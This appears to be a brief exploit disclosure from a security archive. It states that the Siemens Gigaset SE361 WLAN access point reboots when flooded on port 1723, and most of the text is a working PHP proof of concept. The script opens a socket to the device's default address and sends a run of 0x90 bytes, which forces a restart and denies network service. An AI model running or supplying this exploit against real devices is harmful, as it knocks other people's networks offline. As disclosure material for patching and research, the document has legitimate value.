Siemens Gigaset SE361 Wlan suffers from a remote reboot vulnerability when flooded on port 1723.
2a2bd6983b072a972e8446bdbb5fe466edcdc7ef12d0b1d0c07eff67abf0187c
Attacking port 1723(flood), it restarts the device almost instantly, here's the code in PHP.
It takes a few bytes for the AP to automatically restart
<?php
$apaddr = "192.168.2.1";
$apport="1723";
$con = fsockopen($apaddr, $apport, $errno, $errstr);
if (!$con) {
echo "$errstr ($errno)<br />\n";
} else {
$trash = str_repeat("\x90","261");
fwrite($con, $trash);
while (!feof($con)) {
echo "$trash \r\n";
}
fclose($con);
}
?>